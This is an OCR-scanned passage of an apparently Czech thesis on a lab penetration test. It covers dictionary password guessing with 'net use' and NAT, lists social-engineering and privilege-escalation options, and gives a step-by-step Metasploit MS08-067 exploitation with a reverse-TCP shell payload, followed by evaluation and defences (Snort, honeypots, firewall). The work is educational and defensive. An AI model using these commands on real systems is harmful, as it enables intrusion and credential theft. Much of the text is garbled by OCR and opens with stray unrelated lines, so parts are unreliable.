Friday 111144443443444443444344441
Saturday 11113444343344434334443934449

Get hammered at HammerofGod.com?

Obr. 19. Vypis programu Userinfo pro ucet ,,Administrator*.
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4.3.2 Zjisténi hesla uZivatele

Nalezenim uzivatelskych uctl se dostavame k problému, jak zjistit jejich pristupova hesla.
VyuZijeme k tomu metodu hadani hesel. Manualné lze hadat pomoci piikazu ,,net use®, ale
predtim musime zrusit dosavadni anonymni pfipojeni piikazem:

C:\> net use * /d /y
Po opakovani nésledujiciho ptikazu:

C:\> net use \\192.168.1.204\IPC$ “admin” Zu:’Administrator”

lze zkousSet hesla pfislusného uzivatelského uctu. Pokud navazeme spojeni se vzdalenou

slozkou IPC$, tak jsme nalezli i poZzadované heslo.

Tato metoda je pro nas velmi zdlouhava, vyuzijeme proto nastroj NetBIOS Auditing Tool
(NAT), ktery zkousi pfipojeni ke vzdalené slozce pomoci seznamu hesel
(17_nat_seznam_hesla.txt, tento seznam hesel je kratky, slouzi jen pro piedstavu
a obsahuje 1 spravna hesla nékterych uzli) a seznamu uct (17_nat seznam_ucty.txt), které
mu oba vytvofime na zaklad¢ nalezenych uéti a volby pravdépodobnych hesel, které¢ by

mohli uzivatelé pouZivat (slovnikovy utok). Piikazem:

C:\> nat —u nat_seznam _ucty.txt —p 17 nat_seznam_hesla.txt
192.168.1.204 > 18 nat_hadanihesla_vystupl.txt
dostaneme v souboru 17_nat_hadanihesla_vystupl.txt vypis, ktery vypada jako na obrazku
(Obr. 20). Nevyhodou je, Ze po navazani spojeni program piestane hledat hesla pro dalsi
ucty, proto je pak potfeba vymazat nazev ucétu (s nalezenym heslem) ze seznamu ucti a
spustit pfikaz znovu. My jsme ,méli“ Stésti a podafilo se ndm najit heslo uctu
s administratorskymi pravy (patriksvoboda — heslo: violka). Pfi vytvafeni seznamu hesel
jsme totiz ptedpokladali z nalezenych uctl, Ze existuje patrné ur€ity vztah uzivatelskych
jmen Patrik Svoboda a Viola Svobodova. Hledani jsme jest¢ znovu zopakovali
(18 _nat_hadanihesla vystup2.txt) a podafilo se ndm najit heslo 1 pro uZivatele

s omezenymi pravy (emildvorak — heslo: hesloheslo).
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B nat_hadanihesla_wvystup1.ixt - Poznamkowvy blok g@@

Soubor  Upravy Format  Zobrazeni Mapowéda

Aattempting to connect with Username: “alexandrcerny’ Password: “patrik’ rs
Attempting to connect with Username: “alexandrcerny' Password: “wiola'
attempting to connect with username: “alexandrcerny' Password: “alexandr’
attempting to connect with Username: “alexandrcerny' Password: “novak'
Aattempting To connect with Username: “alexandrcerny’ Password: “emil’
Aattempting To connect with Username: “patriksvoboda' Password: “administrator’
Aattempting To connect with Username: “patriksvoboda' Password: "admin’
attempting To connect with Username: “patriksvoboda' Password: “password’
attempting To connect with Username: “patriksvoboda' Password: “user’
Aattempting To connect with Username: “patriksvoboda' Password: “backup’
attempting to connect with Username: patriksvoboda' Password: “system’
attempting to connect with Username: “patriksvoboda' Password: “server’
attempting to connect with Username: “patriksvoboda' Password: “Tocal’
attempting to connect with Username: “patriksvoboda' Password: “abclz3’
Aattempting to connect with Username: “patriksvoboda' Password: "heslo’
Aattempting to connect with Username: “patriksvoboda' Password: "hesToheslo’
Aattempting to connect with Username: “patriksvoboda' Password: "123abc’
Attempting to connect with Username: “patriksvoboda' Password: "123456°
attempting to connect with username: “patriksvoboda' Password: “princezna’
attempting to connect with Username: ‘patrikswvoboda' password: “iloveyou’
attempting To connect with Username: “patriksvoboda' Password: “wiolka'
CONMECTED: Username: “patriksvoboda' password: “violka'

obtained server information:

Server=[MyDPPC2] User=[] workgroup=[MvDP] Domain=[]

Obr. 20. Vystup programu NAT pri metodé hadani hesla.

Hadani hesla neni jedinou variantou, kterou mtzeme pouzit. Pokud je naptiklad pocet
pokusit o piihlaSeni na ucet omezen, muzeme heslo zkusit odposlechnout pomoci

odchytavani a analyzy paketil probihajicich na siti (napf. programem dsniff).

Nebo Ize vyuzit techniky socidlniho inZenyrstvi a heslo od uzivatele vylakat napf. pomoci
telefonatu (pfedstirani osoby spravce apod.) ¢i emailem s odkazem na faleSnou stranku,
kde uzivatel vyplni autentizacni udaje (napt. ovéteni kvality bezpecnosti jeho stavajiciho
hesla). Pfipadné¢ muzeme poslat dotyénému uzivateli e-mailovou zpravu, ktera bude
v priloze obsahovat spyware (keylogger), ktery po spusténi zaznamena stisknuté klavesy

uzivatele a odesle je na nami zvolené misto. Variant k ziskani hesla je opravdu hodné.

Po ziskani spravného hesla ptichdzi na fadu zvySeni opravnéni dotyéného uctu, pokud se
uz tedy nejedna o ucet s administratorskymi pravy. Dosazeni administratorskych prav,
tj. zafazeni do skupiny administrators, lze dosdhnout napf. pouzitim programu

PipeUpAdmin, getadmin, Sechole, xdebug, Debploit apod.

Dosazenim administratorského uétu uz nam nic nebrani v celkové kontrole cilového
pocitace. OvSem, co kdyZ chceme vyuzit exploit ke zneuZiti cilového pocitace? K tomu

nam poslouzi nésledujici nastroj Metasploit Framework.
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4.4 Metasploit Framework

K bezpe¢nostnim nastrojum musime zafadit pravé i Metasploit Framework. Jedna se
0 open-source projekt a slouzi jako komplexni kontrolni bezpecnostni nastroj, ktery je
vyuzivan pii penetracnich testech. Obsahuje databazi kvalitnich exploith (tj. takové, které
nezpusobi napt. pad cilového systému), pomoci nichz lze chyby zneuzit. Tento nastroj je
oblibeny nejen u bezpecnostnich analytikll diky prostfedi pro vyvoj a pouziti exploitt, ale

i u hackert a ptevazné u script-kiddies.

4.4.1 Prostiedi programu Metasploit Framework

Ptehledné prostiedi a snadna ovladatelnost dovoluje pouzivat exploity prakticky komukoli
a nemusi to byt vibec znaly hacker. Metasploit podporuje dva rtizné typy prostiedi.
V jakém se rozhodneme pracovat, zalezi pouze na nas, dame-li piednost webovému
rozhrani (Obr. 21), svou jednoduchosti jde vice méné o pouhé klikani a vypliovani

policek.

) Metasploit Framework Web Console 3.3.4-dev - Mozilla Firefox EI[EIEI

soubor  Upravy  Zobrazeni Historie  Zalodky Mastroje  Npovéda
- (e | [ hetpifi27.0.0.1:55555)
| '] Metasploit Framework Web Console ... | +

‘& Explotts L Buxiliaries . Payloads -_ Console | Sessions jb Options & About

Available Exploits (0)

SEARCH |

Showing all 524 modules

3CTitpSve TFTP Long Mode Buffer Overflo
This module exploits a stack overflow in 3CTRpSve 2.0.1.J Showing all 171 modules

with an overly long mode field, a remote attacker could . .
AlX Command Shell, Bind TCP Inline

Listen for a connection and spawn a command shell
SEARCH

AlIX Command Shell, Find Port Inline

SEARCH |

Showing all 246 modul
owing 2 mosuies Spawn a shell on an established connection

AlIX Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell

3Com SuperStack Switch Derf

This module causes a temporary
switches. By sending excessive dat;
responding temporarily. The device
firrmware v2.66. Reported to affect versi

AIX SNMP Scanner Auxiliary
ARCSNMP Scanner Auxiliary Module

AlX execve shell for inetd

Simply execve fbin/sh (for inetd programs)

ARP Sweep Local Network Discovery

Enumerate alive Hosts in local network using ARP requests.

Hotovo

Obr. 21. Prostredi Web Console programu Metasploit Framework.
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Nebo muzeme pouzit bash konzoli (Obr. 22) a pracujeme s ni podobné jako v Klasickém

ptikazovém tadku. Pravé tuto variantu pii tomto testu upiednostnime.

=[ me
+ -- --=[ 5
+ -— ——=[

=[ s

Warning: Tk

on upd
metasp

Obr. 22. Prostiredi bash konzole programu Metasploit Framework.

4.4.2 Prikazy

V tomto programu pracujeme s programovacim jazykem Python, ktery méa jednoduchou

syntaxi a je pro uzivatele lehky na nauceni.

V prvni fadé nas budou zajimat tfi nejdulezitéjsi piikazy, které jsou potieba ke spusténi

exploitu:

- show <exploits | payloads> - vypise seznam exploiti nebo payloadu (obsahujici

nazev, hodnoceni a popis).

- info <nazev exploitu | payloadu> - vypiSe podrobnéjsi informace o zvoleném

exploitu nebo payloadu.
- use <nazev exploitu> - zvoleni exploitu.
Po zvoleni exploitu vyuZijeme jesté tyto piikazy:

- show options — vypiSe seznam parametrii a proménnych exploitu, které potiebuje

exploit pro sviij spravny béh.
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- show targets — vypiSe seznam cilu (napf. verze operacnich systémi), pro které je

moZno exploit vyuZit.
- set <parametr> <hodnota> — nastavi obsah proménné zadanou hodnotou.
- exploit — spusténi exploitu.

Ostatni ptikazy programu Metasploit Framework si miizeme vypsat ptikazem: help.

4.4.3 Vyhledani vhodného exploitu
Abychom mohli zneuzit slabinu cilového systému, musime nejprve najit piislusny exploit.
Prikazem:
msf > show exploits
dostaneme vypis vSech aktualnich exploita (Obr. 23) uloZenych v databazi programu

(proto je dobré pravidelna aktualizace této databaze, kterd momentaln€¢ obsahuje pres 520

exploitl).

R k=L=k=]

m

g
[

m

rooverfl
L Handling
P

[E=R]

d
ellent
d
d
d

Obr. 23. Vypis seznamu exploitit programu Metasploit Framework.

Po zbézném prizkumu si miZeme pro vytipované exploity vypsat podrobné informace

piikazem info, napf.:

msf > Info windows/smb/ms08 067 netapi
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kde ,,windows/smb/ms08 067 netapi“ vyjadfuje nazev piislusného exploitu. Nahled

vypisu lze vidét na obrazku (Obr. 24).

Obr. 24. Vypis podrobnéjsich informaci o exploitu.

Tento exploit jsme si vytipovali podle nalezené chyby (MS08-067: Microsoft Windows
Server Service Crafted RPC Request Handling Remote Code Execution) pii skenovani
portti cilového pocitace. Pokud nadm tento exploit vyhovuje, zvolime pozadovany exploit
ptikazem:

msf > use windows/smb/ms08_067_netapi

Tim se dostaneme do exploitovaciho rezimu, ve kterém se zadavaji veSkeré parametry

a proménné pro zvoleny exploit.

4.4.4 Vyhledani vhodného payloadu
Po vybéru exploitu pfichazi na fadu volba payloudu (ptivazku) neboli kodu, ktery po
exploitaci fidi napadeny systém (napf. nasloucha na ur¢itém portu a vykonava ptikazy od

vzdaleneho subjektu, zaloZi novy uzivatelsky ucet, stahuje soubory ze sité apod.).
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Vypis moznych payloadu (Obr. 25) pro zvoleny exploit vypiSeme ptikazem:

msT exploit(ms08 067 _netapi) > show payloads

4= = hom ﬂl.i'_'.-"]lj.id:'-

i [jt'i an

il 1 g
1l 1 i d Inline
n 1 i E TCP Inline

n 1
normal R J d TCP Stager

normal R ective D Bind

normal
normal

normal R ective D Injection, R se TCP Sta
normal R ective D Injection, R e Ordinal

normal R ective D Injection,

Obr. 25. Vypis seznamu payloadii pro zvoleny exploit.

Opét si mizeme vypsat podrobnéjsi informace o payloudu pomoci piikazu info. Poté

zvolime jeden z nich, ktery uzndme za vhodny podle pozadovaného t¢elu, piikazem:

msT exploit(ms08_067_netapi) > set PAYLOAD windows/shell_reverse_tcp

4.4.5 Nastaveni hodnot parametri exploitu

Po zvoleni exploitu a payloadu nastava doplnit potfebné hodnoty parametrti exploitu
a payloadu pro jejich spravnou funkcei. Ptikazem:
msT exploit(ms08_067_netapi) > show options

zjistime nazvy proménnych, které jsou prazdné a které je potfeba doplnit piisluSnou

hodnotou:
- exploit:
0 RHOST - zadéme IP adresu cilového pocitace.
- payload:

0 LHOST - zaddme IP adresu lokalniho (vlastniho) pocitace pro vzdalenou

komunikaci.
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Provedeme tedy nasledujici ptikazy, které doplni hodnoty pro potfebné proménné:

msT exploit(ms08 067 netapi) > set TARGET O
msT exploit(ms08 067 netapi) > set RHOST 192.168.1.204

msT exploit(ms08_067_netapi) > set LHOST 192.168.1.102

Hodnotu TARGET ani vypliovat nemusime, protoze cilovy syst¢ém (MS Windows XP
SP1) ur¢i exploit automaticky sam, ale Casto byva u mnoha exploitd na vybér z vice

moznosti, a proto jsme tento piikaz na ukazku provedli i zde.

Opctovnym prikazem show options si vypiSeme momentdlni parametry exploitu
a payloadu a ujistime se, Ze je vSe v potadku (Obr. 26). Pokud ano, piejdeme k poslednimu
kroku exploitace, ve kterém dojde k samotnému spusténi Skodlivého kodu na cilovém

pocitaci.

J » set TARGET O
J » set RHOST 192
J > set LHOST 192

} = show options

Payload options (wi

Name Current

EXITFUNC
L . a
LPORT GELE The local por

Exploit target:

Id Hame

0 Automatic Targeting

Obr. 26. Vypis prikazu show options po zaddani hodnot proménnych exploitu a
payloadu.

4.4.6 Spusténi exploitu

Nastava chvile pro spusténi exploitu, které provedeme piikazem:

msT exploit(ms08 067 netapi) > exploit
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Po probéhnuti exploitace, nam ,,vyskoCi“ shell (ptikazovy ftadek), kterym mulzeme
vzdalené ovladat napadeny pocitaé (Obr. 27). Utoénik by nejspi§ nahréal na cilovy systém
n¢jaky rootkit nebo backdoors pro pozdéjsi ovladani pocitace, stahnul by si dilezita data a

zahladil by stopy po proniknuti.

1 - lang:Czech
sal

g th g
Conmand shell i > 192.168.1.204 :1046)

Tt Wi e W :I

Obr. 27. Pribéh exploitace cilového pocitace.

My jsme si pro ukdzku vypsali obsah adresife NEMAZAT dulezite na napadeném
pocitaci, kde se nachazeli ,,dulezita™ data, vypis tohoto adresafe lze vidét na obrazku

(Obr. 28). Klavesova zkratka Ctrl+C toto vzdalené spojeni s napadenym pocitacem ukonci.

Obr. 28. Vypis adresare po exploitaci napadeného pocitace.
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447 Celkova kontrola

Jak lze vidét z prechazejiciho postupu, ani nemusime znat heslo a dostali jsme se do
systému diky otevienému portu, na kterém béZela sitova sluzba, kterd obsahovala zndmou
chybu. Ted mame nad poéitacem celkovou kontrolu a mohli bychom na néj klidné¢ nahrat
néjakého agenta, pies kterého by bylo mozno spoustét dalsi ptikazy a pokouSet se znovu
testovat celou sit’ z tohoto pocitace, protoze jeho komunikace mize projit filtraci k jinym
autorizovanym pocitatim v siti. My jsme vSak uz doséhli bodu celkové kontroly na
pocitaci, ktery je pro nas na siti nejvice privilegovany, a proto prejdeme k vyhodnoceni

penetracniho testu, ve kterém budeme brat v potaz veSkeré nalezené slabiny systému.

4.5 Vyhodnoceni penetracniho testu

Jako vysledek penetra¢niho testu jsme vytvorili dokument s tabulkami obsahujici nalezené
chyby a slabiny pro jednotlivé uzly sité. V téchto tabulkach je uveden nazev slabiny, jeji
identifikator, mira rizika, stru¢ny popis a navrhovand moznost bezpecnostniho feSeni.
Piiklad takovéto tabulky si mtzeme prohlédnout v tabulce (Tab. 6), kterd popisuje chybu

nezabezpeceného pocitace, kterou jsme zneuzili pro jeho naslednou exploitaci.

Tab. 6. Priklad tabulky z vysledného dokumentu penetracniho testu.

Slabina

Port Stav | Sluzba |Riziko |Identifikator

O0/ICMP |Open | General | Kritické | CVE-2008-4250, BID: 31874,
OSVDB:49243

Popis Moznost spusténi libovolného koédu v dasledku chyby ve
sluzbé MS Windows Server Service, ktera je nachylna k preteceni
vyrovnavaci paméti a muze uto¢nikovi umoznit spusténi

libovolného kddu na vzdaleném poéitaci s privilegii ,,SYSTEM®.

Reseni | Spoleénost Microsoft vydala sadu zaplat pro Windows 2000, XP,
2003, Vista a 2008:
http://www.microsoft.com/technet/security/bulletin/ms08-

067.mspx
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Tento dokument véetné veskerych soubort, které jsme vytvofili pii penetracnim testu, je
umistén na CD, které je soucasti této prace. Nalezneme na ném napt. vysledky

skenovacich nastroju, soubory, s kterymi jsme pracovali v programu Metasploit aj.

Samotny vysledny dokument tato prace dopliiuje ve smyslu doporuéeni o zabezpeceni
pocitacove sit¢ a systémi. Kde v nasledujicich kapitolach feSime nadvrhy moznosti aktivni

obrany.

45.1 Vyhodnoceni pro nezabezpeceny pocitac

Skenovanim a inventarizaci nezabezpeCeného pocitace se nam podafilo zjistit velké
mnozstvi dajli a penetracni test byl praveé proto sméfovan na tento cil. Po¢tem nalezenych
otevienych portld a sitovych sluzeb vznikala vétsi pravdépodobnost, ze néktera z nich

obsahuje slabinu, kterou bychom mohli pozdé&ji zneuzit.

Nalezené slabiny byly popsany v dokumentu, jak uZ bylo zminéno vyse. Po zvoleni
spravneho exploitu z databaze programu Metasploit, jsme byli schopni jeho spusténi na

cilovém pocitaci a ziskali jsme nad nim plnou kontrolu.

V priibéhu testu se ndm podatilo zaznamenat plno dualezitych informaci, které by spravné
pocita¢ nemél zvefejnovat neovéfenym uzivatelim, tomu se tak bohuzel u této varianty

nestalo na rozdil od pocitace zabezpeceného.

4.5.2 Vyhodnoceni pro zabezpeceny pocitac¢

Diky existenci firewallu na zabezpeceném pocitaci jsme nebyli schopni ziskat dostate¢né

mnozstvi informaci, které¢ by nam pomohly urcit jeho slaba mista.

Jednim z mala udaji, které jsme analyzovali, byl zavieny port 1723/tcp se sluzbou PPTP
(Point-to-Point Tunneling Protocol) a identifikace IP (192.168.1.203) a MAC adresy
(00:1F:1F:64:CB:31), podle niz jsme urcili vyrobce pouzivaného sitového rozhrani
(Edimax Technology Co.). Odhad opera¢niho systému byl sice spravny, ale pfesnou verzi
se nam nepodatilo ur¢it (MS Windows 2000/2003/XP).

| kdyZ se jevi vysledek zabezpeteného pocitace velice dobfe, riziko je zde poiad velké,
protoZze pokud se ndm podafi ovladdnout jiny pocita¢, s nimz je skrz firewall povolena
komunikace, muze byt zabezpeCeny pocita¢ ve stejné situaci, jako kdyby byl

nezabezpeceny. Této situace jsme dosdhli na konci penetracniho testu, kdy se ndm podatilo
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ziskat kontrolu nad nezabezpeCenym pocitatem, kdy naptf. utocnik by dale mohl
podniknout nové skenovani zabezpecené varianty a firewall by tuto komunikaci uz dale
neblokoval. Proto by mély byt veskeré pocitace v siti dobie zabezpefené, aby k takovému

ptipadu nedoslo.

4.5.3 Porovnani vysledki zabezpeceného a nezabezpeceného pocitace

Rozdil nalezenych informaci u téchto pocitact byl veliky. Pouhé nalezeni zivych systémi
(zda se jedna o zivy uzel €i nikoliv) délalo n€kterym nastrojim problémy (Superscan

zabezpeceny pocitac viibec nenasel).

Pti skenovani portli byl opét znatelny rozdil v poctu zdanlivé pouzivanych portd,
u zabezpecené varianty vzhledem k filtraci firewallu jsme nalezli pouze jeden port, jenz
byl stejné ve stavu Closed. U nezabezpecené varianty jsme vSak nalezli deset otevienych

portli pro rizné sitové sluzby.

Pti identifikaci operacniho systému pouze pouzity ndstroj Nmap dokazal odhadnout, jaky
operacni systém by se mohl vyskytovat na zabezpeceném pocitaci. U nezabezpeceného
jsme pomoci nastroje Nessus ur€ili pfesné verzi Windows vcetné idaje o verzi Service

Packu.

Pii inventarizaci systému jsme u zabezpeCené varianty pokazdé dosahli pouze chybove
hlasky (nedostate¢na privilegia apod.) a cilovy systém nam tedy nedovolil ziskat Zadné
NetBIOS zjistit ndzvy domén, pocitact i sdilenych slozek, dale pomoci anonymniho
ptihlaSeni ziskat seznam a specifictéj$i tdaje o lokalnich ucétech uzivateli, mohli jsme
pouzit metodu hadani hesel pomoci slovnikového utoku, kde se ndm podafilo zjistit i heslo

k uc¢tu s administratorskymi pravy.

Po inventarizaci a prohledani databdzi publikujicich zndmé slabiny jsme tedy méli jasno
v tom, Ze pravdépodobnost priniku do nezabezpeceného pocitace je rozhodné vétsi nez

u zabezpeceného, na ktery jsme se pak uz dale nesousttedili.
Podle nalezené slabiny jsme v programu Metasploit identifikovali exploit, ktery jsme
posléze spustili na nezabezpeCeném pocitaci, jenZz nam umoznil mit nad pocitatem

vzdalenou a zaroven celkovou kontrolu.
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5 NAVRHAKTIVNI OBRANY

K vyhodnoceni penetra¢niho testu doplnime i navrhované moZnosti aktivni obrany.
Moznosti, jak se branit vic¢i diive zminovanym utoktim, je vice. Samoziejmé, ze vuci
nalezenym chybam bychom méli operacni systém pravidelné aktualizovat, instalovat
opravné balicky (service pack), nebo jednotlivé slabiny zaplatovat (patch). Kromé toho je
dobré uvést bézné a nezbytné moznosti zabezpeceni pocitacového systému jako napf.
pouziti firewallu, antivirového a antispywarového programu. Muzeme pouzivat také

systémy detekce naruSeni a systémy prevence proti naruseni.

5.1 IDSalPS

Systém detekce naruseni (IDS) a systém prevence proti naruseni (IPS) by méla pouzivat
kazda spolecnost, kterd chce chranit své firemni ¢i jakékoliv jina dilezita data. Jak pracuji,

jsme si jiz vysvétlili diive, ale neuvedli jsme si zastupce, ktefi slouzi k této Cinnosti.

Mezi komeréni systémy IDS a IPS se fadi Proventia Network Intrusion Prevention System
(IBM), Network Security Manager (McAfee), Cisco Secure IDS, IPS Software Blade

(Checkpoint) a mezi open-source lze zatradit Snort, Suricata aj.

5.1.1 Snort

Spada pod zdrojové oteviené (open-source) nastroje a patfi mezi IDS zalozené na
pravidlech. Podporuje mnoho operaénich systémt (Windows, Unix, Mac OS aj.). Obsahuje
rizné detekéni funkce, byva pouzivan zpravidla jako NIDS (tj. sérioveé umisténi v siti,

analyzuje pakety a hleda vzory zdvadného chovani).
Snort miize bézet ve tfech rezimech:
- ReZim slidi¢e (sniffer) — zachytava data kazdého paketu na obrazovku.

- Rezim zaznamniku (logger) — zachytava a zapisuje data z kazdého paketu na pevny
disk.

- ReZzim detekce naruSeni — nezaznamenavd data z pakett, ale analyzuje je
a porovnava s povolenymi pravidly.

Systém detekce naruSeni Snortu je sloZen z jednotky paketového zachytu (zachytava
pakety), zasuvnych moduli preprocesoru (analyza paketdi a rozhodovani), detekéni

jednotky (porovnani s pravidly) a zasuvnych moduli pro vystupy (ukoncovani relace
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a generovani vystrah). Mezi pravidly Snortu Ize nalézt napt. pravidla pro utoky preteceni
zasobniku, FTP a webové atoky, DoS atoky, zranitelnosti protokolu SMB a procedur RPC
pro rtizné sondy operac¢niho systému.

Vystup Snortu v podobé vystraznych dat mize byt realizovan pouzitim SNMP (Simple
Network Management Protocol) nebo je zaznamendn do databéaze ¢i souboru.

Diky tomu, ze je Snort zcela zdarma, je hojné vyuzivan. Hodi se hlavné pro mensi

spoleénosti, které nemaji finanéni prostifedky pro nakup komeréniho IDS systému a na jeho

udrzbu, presto je velice kvalitnim nastrojem, ktery odhali ptipadné budouci toky.

5.1.2 Honeypot

O honeypotech jsme se bavili uz v teoretické ¢asti této prace, nyni si uvedeme pouze, kde

bychom mohli takovato lakadla umistit.

Internet DMZ vnitini sit’

honeypot

firewall firewall

Obr. 29. Varianty umisteni honeypotu.

Mohou se vyskytovat na vnitini siti, v demilitarizované z6né, nebo na vnéjsi siti pred
firewallem (Obr. 29). VsSechny tfi varianty umisténi honeypotu slouzi k detekci
a sledovani uto¢nika, ktery zkousi rGzné techniky priniku na cilovou sit, honeypot tyto
informace sbira a posila je IDS a IPS systémam v siti, které¢ pak uz s piredstihem dokézou

blokovat uto¢nikovi postupy a zabezpeci tak ostatni pocitace v siti.
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5.2 Firewall

Firewall, jak uz bylo feeno, nesmi chybét na zadném pocitaci. Je zakladni Casti
zabezpeceni pocitace a tim padem veskerych dat. V zabezpecené varianté pocitace, ktery
jsme testovali, byl nainstalovan Sunbelt Personal Firewall 4, ktery patii do kategorie téch
kvalitnéjsich firewalld. Jednalo se o 30denni zkuSebni verzi s moznosti plné funkénosti

softwaru.

Firewall nam poskytuje detailni pfehled o probihajicich spojenich (Obr. 30), vyhodnocuje
je do statistik, umoznuje zobrazit tyto informace v ¢asovém intervalu hodiny, dne ¢i

mesice.

Personal Firewall 4

Spojeni
ﬂl.l Piehied Lokalni strana | zdélena strana | Protokol | Rychlostp... | Rychlost o... | Pijato byt | Wysléno bkt
=[] system TCP, UDP 011
E:j MYDPpcl: nethios-ns - upp 011 1029580 10920
E':; MYDPpcl: nethios-dgm — ------ LDP 3613 12915
Y MYDPpcl: nethios-ssn ----- TCP i i
E':; Vee! microsoft-ds - LDF ] ]
E':; Vee! microsoft-ds - TCP ] ]
= [] c\program files'eseteset nod32 antivirusekrn.exe TP
% locahost: 30806 - TCP 0 0
= 3 c:'program files'messengermsmsgs.exe TCP, UDP
E:j MYDPpcl: 14732 - TCP o o
E:j MYDPpcl: 15773 - upp o o
WEe: 1038 0 e LDp [u] [u]
E:j MYDPpcl: 64913 - upp o o
Odchod - 000 KBis =[] cywindows'system32'lsass.exe UDP, 255
Piichozi: 0.09 KBfs % vie Wie 255 0 0
— Y vierisakmp 0 - LDF
Ddpojit sit _
=[] cwindows'system32svchost.exe TCP, UDP
E:j MYDPpcl: 1900 - upp o o
Y MyDPpclintp s DR a0 a0
Y vEer3zse 0 - TCP i i
ovEei 1025 e TCP 0 0
E':; Vieiepmap 0000 - LDP o o
% vieiepmap - TCP il il
YovEmis000 0 e TCP 0 0
WEe: 1026 0 e upp o o
WEe: 1027 e upp 1605 476
% locahost: 1900 - upp 399 0
Ej lacahost: atp - - uppP o o
41 Ffichozi spojeni: 2 1% Odchozi spojen: 2 5:, Maslouchani: 24

Obr. 30. Prehled spojeni Sunbelt Personal Firewallu 4.

Thned po instalaci povolil firewall kviili sitové bezpecnosti pro preddefinované aplikace
filtraci (Obr. 31), u které byla odchozi komunikace z pocitaée povolena pro veskeré

aplikace a prichozi komunikace byla zakazana.
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Persaonal Firewall 4

Aplikace Preddefino

v Povolit modul sitové bezpednosti

Drimvinphodng | Irkeret
Ffichozi | Odchozi | Pfichozi | Odchozi
zaka.. «f povolit 3 zakd,.. o povoli
zaka.. «f povolit 3 zakd,.. & povoli
zakd.. «f povolit 3 zakd.. & povolit
zakd...  f povolt 3 zakd... & povoli

x®
x®
®
®

0pis

’Zaznam 00 ‘ Upozornit

c:\program filesiinkernet exploreriiexplore. exe
1 ciiwindowslsystem3zlsass. exe

[ etiwindows|system3ziservices exe

_ﬂ_ll ciiwindowsisystem32\winlogon. exe

1 edwindaws!system3z\userinit, exe

1 ciiwindowstsystem32iswchost. exe

E netbios

zakd,,.  «f povolit zakd,.. ' povolit
zaka... ' povolit zaka... ' povoli
zaka... +f povolit zaka... «f povolic
zaka... ' povolit zakd... « povolit

KERX KX KKK

- Libowolnd jing aplikace

Obr. 31. Sifova bezpecnost a nastaveni komunikace pro bézici aplikace.

Protoze jsme ale potiebovali mit moznost vzdaleného ptipojeni z druhého pocitace v siti
(nezabezpeteny pocitad), vytvorili jsme pravidlo (Obr. 32), které povolovalo komunikaci

obéma sméry pro povolenou IP adresu druhého pocitace (Obr. 33).

Sitova bezpecnost - Rozsireny paketowvy filtr

Pravidla paketového Filbru Skupiree IP adres |
Iméno skupin: | Popis | Smiir | &kce [ .| 1. | Lokélni |
+ Wiechna pravidla vzdalene pripojeni &7 Cba w povolit Libovolrs

Obr. 32. Nastaveni pravidla paketového filtru pro obousmérnou komunikaci

S povolenym pocitacem.

Sit'ova bezpecnost - Rozsireny paketowvy filtr

Pravidla paketowvéha Filkru | Skupiny IP adres ]_
Iméno skupiny | Definice
-l povolens
MYDPpc2 192,166.1,204

Obr. 33. Nastaveni povolené IP adresy pro pravidlo

paketového filtru.

Poté uz bylo moZzno se prihlasit ke vzdalené ploSe, ale pouze z pocitace, ktery mél

piid€lenu onu povolenou adresu, ostatnim pocitacim (jako byl testovaci pocitac) byla tato
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sluzba blokovana. Pravé diky této filtraci se nam pii penetracnim testu nepodafilo zjistit
skoro zadné informace, jelikoz veskeré sondy od nepovolenych subjektt firewall blokoval.
Dokonce diky integrovanému systému prevence proti naruseni (NIPS) zaznamenaval nase

pokusy o skenovani jeho porti, které mizeme vidét na obrazku (Obr. 34).

E Sunbelt Personal Firewall E@

Personal Firewall 4 z AE—
Zaznamy | Mastaveni |
@a,.. | Poket | Datum | Popis | Smir | Zdraj vitoku | Teida titaku | Prd
165 1 15/Marf2010 14:51:12 ICMP PATH MTU denial of service 4 in 192,168.1.100 attempted-dos me
166 1 15/Marf2010 14:51:17 ICMP PATH MTU denial of service 4 in 192,168,1.100 attempted-dos me
167 1 15/Marf2010 14:51:24 ICMP PATH MTU denial of service 4 in 192,168,1.100 attempted-dos me
165 1 15/Marfz010 14:51:29 ICMP PATH MTU denial of service 4 in 192,168.1.100 attempted-dos me
169 1 15{Mar/z010 14:51:46  ICMP PATH MTU denial of service 4 in 192,168,1,100 attempted-dos me
170 1 15{Mar/Z010 14:52:24  ICMP PATH MTU denial of service 4 in 192.168.1.100 attempted-dos me
171 1 15/Mar/z010 14:55:22  ICMP Timestamp Request 41 in 192,168.1.102 misc-ackivity lou
172 1 15/Mar /2010 14:55:27  ICMP Address Mask Request 41 in 192.168.1.102 misc-ackivity |D\J
173 1 15/Mar (2010 14:55:32 ICMP InFormation Request 4 in 192.168.1.102 misc-ackivity law
174 1 15/Marf2010 14:56:12 ICMP Timestamp Request 4 in 192,168.1.102 misc-ackivity lay
175 1 15/Marf2010 14:56:17 ICMP Address Mask Request 4 in 192,168.1.102 misc-ackivity lay
176 1 15/Marf2010 14:56:22 ICMP Information Request 4 in 192,168.1.102 misc-ackivity lay
177 1 15/Marfz010 15:01:35 ICMP Timestamp Request 4 in 192,168.1.102 misc-ackivity lay
Odchosi: 0,00 KBiE 178 1 15{Marfz010 15:01:43  ICMP Address Mask Request 4 n 192,168.1.102 misc-ackivity lot
Piichozi 0.00 KBs 179 1 15/Mar/2010 15:01:48  ICMP Information Request 41 in 192.168.1.102 misc-ackivity lou
— 1811 15/Marf2010 15:53:28  PortScan 1 in 192.168.1.102 network-scan pc
O eBe 181 1 15/Marj2010 15:59:11  PortScan @ in 192.168.1.102  nebwork-scan pe
182 1 15/Marf2010 16:22:32 PartScan 4 in 192,168.1.102 nebwork-scan pc
183 1 15/Marf2010 16:23:59 PartScan 4 in 192,168.1.102 nebwork-scan pc
184 1 15/Marf2010 16:26:27 PartScan 4 in 192,168.1.102 niebwork-scan pc
185 1 15/Marf2010 16:28:16 PartScan 4 in 192,168.1.102 nebwork-scan pc
166 1 15/Marfz010 16:20:15  PortScan 4 in 192,168,1.102 nietwark-scan pc
167 1 15/Mar/2010 16:32:52  PortScan 4 in 192,168.1.102 nietwark-scan pc
168 4 15/Mar/2010 16:35:19  ICMP PING undefined code 41 in 192.168.1.102 misc-ackivity lou
190 1 15/Mar/2010 16:42:59  PortScan 4 in 192.168.1.102 netwark-scan pc
191 4 15/Mar /2010 16:43:14  ICMP PING undefined cade 41 in 192.168.1.102 misc-ackivity law
193 1 15/Marf2010 16:46:46 PartScan 4 in 192,168.1.102 nebwork-scan pc
